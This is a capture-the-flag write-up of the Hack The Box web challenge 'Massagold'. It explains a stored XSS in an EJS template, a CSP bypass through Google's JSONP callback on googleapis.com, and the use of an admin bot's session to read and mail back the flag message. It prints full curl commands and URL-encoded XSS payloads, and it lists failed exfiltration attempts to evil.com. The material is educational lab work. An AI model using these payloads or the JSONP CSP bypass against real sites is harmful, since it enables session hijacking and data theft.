Cyber Apocalypse HTB - Massagold

just wanna write down something so i can look at it someday.

InfoValue
CategoryWeb
NameMassagold
DifficultyLabeled “Very Easy” but it doesn’t seem like the label LOL
StackExpress.js + EJS + SQLite + Playwright Firefox bot
FlagHTB{m3554g3_1n_7h3_cu570dy_ch41n_<REDACTED>}
Authorchmakorkrichh

This challenge is dressed up as a medieval-themed messaging app — think knights, archivists, ravenmasters, the whole aesthetic — where users send “sealed letters” to each other. The fun part: there’s an admin bot that automatically opens any letter sent to the admin user, like some overworked royal secretary who reads every piece of mail the second it lands. The flag itself is sitting in admin’s inbox, sent by a user called archivist. So my job was basically: find a way to read mail that isn’t addressed to me.

1. Poking Through the Source Code

To be fully understand how we can get the flag, we need to review the source code first.

I’m not a developer. No coding background, nothing. So for this source code review part I leaned on AI to read through the code with me and point out anything that looked sketchy. Here’s the folder structure we were working with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
├── app/
│   ├── server.js              # Express server (port 3000)
│   ├── routes.js              # Route definitions
│   ├── db.js                  # SQLite database layer
│   ├── controllers/
│   │   ├── authController.js  # Login/Register (bcrypt, parameterized queries)
│   │   └── messageController.js # Send/Read messages ⚠️
│   ├── middleware/auth.js     # Session auth guard
│   ├── views/
│   │   ├── message.ejs        # ⚠️ THE culprit — unescaped output
│   │   ├── inbox.ejs          # Message listing (escaped, boring, safe)
│   │   ├── new-message.ejs    # Compose form
│   │   └── partials/
│   │       ├── head.ejs
│   │       └── nav.ejs
│   └── public/
│       ├── compose.js         # Client-side form handler
│       └── message.js         # Seal open/close UI
├── bot/
│   └── bot.js                 # Playwright admin bot
├── entrypoint.js              # DB seeder — stores flag in message #1
├── Dockerfile
├── docker-compose.yml
└── config/
    ├── nginx.conf             # Reverse proxy (port 80 → 3000)
    └── supervisord.conf       # Process manager

Aha Moment

With a little help reading entrypoint.js, I figured out the flag gets read straight from /flag.txt and dumped in as the very first message in the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const flag = fs.readFileSync('/flag.txt', 'utf8').trim();

// Create users: admin, archivist, scribe, ravenmaster, minstrel, alchemist
const users = {};
for (const username of ['admin', 'archivist', 'scribe', 'ravenmaster', 'minstrel', 'alchemist']) {
    users[username] = await createUser(username);
}

// Message #1 — THE FLAG
await createMessage(
    users.archivist,    // sender_id = 2
    users.admin,        // recipient_id = 1
    `Archive notice:\n\nThe sealed royal record reads:\n${flag}`
);

So the flag is message #1 — from archivist to admin. Great, now I know exactly where it’s hiding. Just need to figure out how to get through the front door.

Two options came to mind:

  1. Read admin’s messages directly — nope, blocked cold by a recipient_id check
  2. Trick admin’s own browser into reading it for me, and mailing the answer back — this is the way (hello, XSS)

2. Discovering the bugs

Bug #1 — A Copy-Paste Gone Wrong ➜ Stored XSS

File: app/views/message.ejs, line 17:

<pre class="letter-copy"><%- message.content %></pre>

<%- is unescaped EJS output it dumps raw HTML straight into the page, no questions asked. Basically an open door with no bouncer. Comparing it to the rest of the templates, which all use the escaped <%= tag, the difference jumps right out:

<%= message.sender_username %>   <!-- escaped — well-behaved -->
<%= message.created_at %>         <!-- escaped — well-behaved -->
<%- message.content %>            <!-- RAW — the troublemaker -->

Translation: whatever HTML/JavaScript I stuff into a message content field gets rendered directly in the recipient’s browser. In other words, I get to write on someone else’s wall with my own marker. Classic Stored XSS.

Bug #2 - An Admin Bot That’s a Little Too Curious

File: app/controllers/messageController.js:

1
2
3
4
5
6
7
8
9
async function sendMessage(req, res, next) {
    // ... validation and insert ...

    if (recipient.username === 'admin') {
        enqueueMessageVisit(result.lastID);  // Bot visits any message sent to admin!
    }

    res.redirect('/');
}

File: bot/bot.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function visitMessage(messageId) {
    const browser = await firefox.launch({ headless: true });
    const context = await browser.newContext();

    try {
        const page = await context.newPage();
        const targetUrl = appUrl(`/messages/${encodeURIComponent(messageId)}`);

        await loginAsAdmin(page);  // Logs in with credentials from /app/admin_credentials.json
        await page.goto(targetUrl, { waitUntil: 'load', timeout: 10000 });
        await page.waitForTimeout(2000);  // 2 second execution window
    } finally {
        await context.close();
        await browser.close();
    }
}

the moment I send something to admin, boom! a headless Firefox instance launches and logs in as admin for real, cookies and all. So any JavaScript I sneak into that message runs with admin’s own session. It’s like borrowing admin’s hands to do my dirty work while they’re not looking

Bug #3 - A CSP With a Google-Shaped Hole in It

Content-Security-Policy header:

1
2
3
4
5
6
7
8
9
default-src 'self';
script-src 'self' https://www.googleapis.com;
style-src 'self';
img-src 'self' data:;
font-src 'self' data:;
connect-src 'self';
object-src 'none';
form-action 'self';
frame-ancestors 'none'

DirectiveValueWhat it actually means
script-src'self' https://www.googleapis.comBlocks inline scripts, but happily loads scripts from Google’s domain
connect-src'self'Lets fetch()/XHR hit the same origin — a nice little exfiltration lane
form-action'self'Allows form submissions to the same origin
img-src'self' data:Blocks loading images from elsewhere
style-src'self'Blocks inline and external styles
object-src'none'Blocks <object>, <embed>
frame-ancestors'none'Blocks getting embedded in an <iframe>
Missingbase-uriYou could inject a <base> tag (didn’t need it here)
Missing'unsafe-inline' in script-srcNo inline event handlers (onclick, onerror, etc.)

Caught it that https://www.googleapis.com entry is the golden ticket. Google’s Custom Search JSON API takes a callback parameter and reflects it right back as valid JavaScript. Basically Google was accidentally helping me smuggle a script past the CSP without even knowing it

3. time to get my hand dirty

overview of the web app

this is how the web app looks like after i registered a user and login.

Step 1 - First, Just Break the HTML

Before doing anything fancy, I wanted to confirm the HTML break-out actually works, so I sent to myself: CURL command:

1
2
3
4
curl -X POST http://TARGET:PORT/messages \
  -b cookies.txt \
  --data-urlencode 'to_username=YOUR_USER' \
  --data-urlencode 'content=</pre></div></section></main><h1>INJECTED</h1>'

received a message from myself: opened the message and yep, there it was:

1
2
3
4
5
<!-- Before injection -->
<pre class="letter-copy">[USER_CONTENT]</pre>

<!-- After injection -->
<pre class="letter-copy"></pre></div></section></main><h1>INJECTED</h1></pre>

The </pre> closes the pre tag, </div></section></main> peels back the wrapping containers, and my <h1> ends up dropped straight into the <body>. Clean break-out.

TRICK: if use burp suite, make sure proper URL encoded by pressing CTRL+U for the content payload: Above is after i injected a JSONP script.

Step 2 - Testing the Google JSONP Trick

we can debug the script by sending a seal message to ourselves.

Next I wanted to see if Google’s Custom Search API would actually reflect my callback:

1
curl -s "https://www.googleapis.com/customsearch/v1?callback=alert(1)&key=x&cx=x&q=test"

Response:

1
2
3
4
5
6
7
8
// API callback
alert(1)({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    ...
  }
});

This is the funny part Google literally tells you the callback name is invalid, and then reflects it anyway as alert(1)({...error...}) — perfectly valid JavaScript. So when loaded as a <script src>, the browser just runs alert(1) with the error object as its argument. Thanks for the assist, Google.

Step 3 - Actually Testing the CSP Bypass

Time for the real thing. I sent the simplest possible XSS payload to admin:

1
2
3
4
curl -X POST http://TARGET:PORT/messages \
  -b cookies.txt \
  --data-urlencode 'to_username=admin' \
  --data-urlencode 'content=</pre></div></section></main><script src="https://www.googleapis.com/customsearch/v1?callback=alert('chmakorkrich is HERE!')&key=x&cx=x&q=x"></script>'

the admin bot visits, the browser loads Google’s script, and alert('chmakorkrich is here') fires right there in admin’s own context. The <script src> from www.googleapis.com just walks straight past CSP like it’s got a VIP pass.

Step 4 - Making Sure Same-Origin Fetch Works

Now that I had a door in, I wanted to check whether fetch() to the app’s own endpoints would actually work (since connect-src 'self' allows it):

1
2
3
4
5
6
7
# URL-decoded callback:
# fetch('/messages',{method:'POST',body:new URLSearchParams({to_username:'chmakorkrich',content:'PROOF'})})

curl -X POST http://TARGET:PORT/messages \
  -b cookies.txt \
  --data-urlencode 'to_username=admin' \
  --data-urlencode 'content=</pre></div></section></main><script src="https://www.googleapis.com/customsearch/v1?callback=fetch%28%27%2Fmessages%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Anew%20URLSearchParams%28%7Bto_username%3A%27admin%27%2Ccontent%3A%27PROOF%27%7D%29%7D%29&key=x&cx=x&q=x"></script>'

This is the message will be sent to admin. However, it will comes to my own inbox if the admin bot trigger the XSS. As you can see, i got a message from myself, which triggered by the admin bot.

Result: a message shows up in my own inbox with the content PROOF. Same-origin POST — confirmed working. At this point all the pieces were on the table, I just needed to assemble them into the actual flag-stealing payload.

Step 5 - Falling Into (and Climbing Out of) the Async Chain Trap

My first attempts using .then() chains looked like total failures. Kind of demoralizing, honestly. But after digging into it a bit more, here’s what was actually going on:

How Google wraps your callback:

1
2
3
4
// My callback: fetch('/messages',{method:'POST',...})
// Google returns:
fetch('/messages',{method:'POST',...})({...error...});
//                     ↑ fetch runs        ↑ TypeError happens here

For a plain fetch() call:

  1. fetch('/messages', {...}) runs → the POST goes out
  2. ({...error...}) tries to call the returned Promise like a function → TypeError
  3. But the POST request was already sent — it works anyway!

For chained .then() calls:

1
2
3
4
// My callback: fetch('/messages/1').then(r=>r.text()).then(t=>...)
// Google returns:
fetch('/messages/1').then(r=>r.text()).then(t=>...)({...error...});
//                     ↑ callbacks get registered   ↑ TypeError happens here
  1. fetch('/messages/1') runs → the GET goes out
  2. .then(...) registers its callback and hands back a new Promise
  3. ({...error...}) tries calling that Promise → TypeError
  4. But the callbacks are already registered — they fire whenever the actual GET response comes back

4. The Payloads That Actually Got the Job Done

Payload 1 - XSS Confirmation

Proves the bot visits and script executes:

JavaScript:

1
fetch('/messages',{method:'POST',body:new URLSearchParams({to_username:'YOUR_USER',content:'XSS_CONFIRMED'})})

URL-encoded callback:

1
fetch%28%27%2Fmessages%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Anew%20URLSearchParams%28%7Bto_username%3A%27YOUR_USER%27%2Ccontent%3A%27XSS_CONFIRMED%27%7D%29%7D%29

Full message content:

1
</pre></div></section></main><script src="https://www.googleapis.com/customsearch/v1?callback=fetch%28%27%2Fmessages%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Anew%20URLSearchParams%28%7Bto_username%3A%27YOUR_USER%27%2Ccontent%3A%27XSS_CONFIRMED%27%7D%29%7D%29&key=x&cx=x&q=x"></script>

Payload 2 - Dump Admin’s Inbox

Fetches the inbox page and sends it back:

JavaScript:

1
2
3
4
5
6
fetch('/').then(function(r){return r.text()}).then(function(t){
  fetch('/messages',{method:'POST',body:new URLSearchParams({
    to_username:'YOUR_USER',
    content:t.substring(0,500)
  })})
})

URL-encoded callback:

1
fetch%28%27%2F%27%29.then%28function%28r%29%7Breturn%20r.text%28%29%7D%29.then%28function%28t%29%7Bfetch%28%27%2Fmessages%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Anew%20URLSearchParams%28%7Bto_username%3A%27YOUR_USER%27%2Ccontent%3At.substring%280%2C500%29%7D%29%7D%29%7D%29

Payload 3 - Flag Exfiltration (Final)

Reads message #1 and sends the full page HTML back to you. the flag sits deep in the HTML structure (after nav, seal sections, letter-meta).

JavaScript:

1
2
3
4
5
6
fetch('/messages/1').then(function(r){return r.text()}).then(function(t){
  fetch('/messages',{method:'POST',body:new URLSearchParams({
    to_username:'YOUR_USER',
    content:t
  })})
})

URL-encoded callback:

1
fetch%28%27%2Fmessages%2F1%27%29.then%28function%28r%29%7Breturn%20r.text%28%29%7D%29.then%28function%28t%29%7Bfetch%28%27%2Fmessages%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Anew%20URLSearchParams%28%7Bto_username%3A%27YOUR_USER%27%2Ccontent%3At%7D%29%7D%29%7D%29

Full message content:

1
</pre></div></section></main><script src="https://www.googleapis.com/customsearch/v1?callback=fetch%28%27%2Fmessages%2F1%27%29.then%28function%28r%29%7Breturn%20r.text%28%29%7D%29.then%28function%28t%29%7Bfetch%28%27%2Fmessages%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Anew%20URLSearchParams%28%7Bto_username%3A%27YOUR_USER%27%2Ccontent%3At%7D%29%7D%29%7D%29&key=x&cx=x&q=x"></script>

After send, we will be receiving the message from admin bot: Open it, you will feel like it is a nested sealed scrolls. Get the flag by CTRL+U and scroll down.

5. Quick Diagram - How the Whole Thing Actually Plays Out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌─────────────────────────────────────────────────────────────┐
│  ME (the attacker)                                          │
│  1. Register account "attacker"                             │
│  2. POST /messages to "admin" with an XSS payload           │
│     Content: </pre></div></section></main>                  │
│              <script src="googleapis.com?callback=PAYLOAD"> │
└──────────────────────────┬──────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────────┐
│  SERVER (Express + EJS)                                     │
│  - Stores the message with raw HTML/JS content (that <%-)   │
│  - Notices recipient is "admin" → queues a bot visit        │
└──────────────────────────┬──────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────────┐
│  ADMIN BOT (Playwright Firefox)                             │
│  1. Launches headless Firefox                               │
│  2. Logs in as admin (creds from admin_credentials.json)    │
│  3. Navigates to /messages/{id}                             │
│  4. Browser renders the XSS payload                         │
│  5. <script src> loads the Google JSONP callback            │
│  6. Google returns: PAYLOAD({...error...})                  │
│  7. JavaScript runs, fully authenticated as admin           │
│  8. fetch('/messages/1') reads the flag message (same-origin)│
│  9. fetch('/messages', {POST}) mails the flag back to me    │
│  10. Bot waits 2 seconds, closes the browser                │
└──────────────────────────┬──────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────────┐
│  ME (the attacker)                                          │
│  - Polling my inbox every 5 seconds                         │
│  - New message shows up from "admin"                        │
│  - Pull out the HTB{...} flag                               │
└─────────────────────────────────────────────────────────────┘

6. What I Actually Took Away From This

Not sure this makes me a “real” hacker yet, but I definitely walked away understanding how XSS + a badly-configured CSP can stack together into a full exploit chain. Here’s the recap:

Techniques That Made This Work

TechniqueWhat it did
Stored XSS via <%-Unescaped EJS output lets raw HTML/JS render straight into the page
HTML context break-out</pre></div></section></main> escapes the template’s nested containers
Google JSONP CSP bypassscript-src allows www.googleapis.com, and its callback param gets reflected as real JS
Same-origin fetch exfiltrationconnect-src 'self' lets fetch() hit the app’s own endpoints
Bot-as-proxyThe admin bot’s authenticated session becomes my unwitting delivery service for the flag

Things I Tried That Just… Didn’t Work

AttemptWhy it flopped
Plain <script>alert(1)</script>CSP’s script-src has no 'unsafe-inline', so inline scripts get blocked
<img onerror="...">CSP blocks inline event handlers
<svg onload="...">Same story — inline handlers blocked
Exfiltrating to an external server (fetch('http://evil.com'))connect-src 'self' shuts that down
<img src="http://evil.com/?data=...">img-src 'self' data: blocks external images
Reading admin’s messages directly (IDOR)WHERE messages.recipient_id = ? blocks cross-user reads
SQL injectionEverything’s parameterized (? placeholders) — no luck there
Path traversalexpress.static sanitizes paths properly

Thanks for reading forks.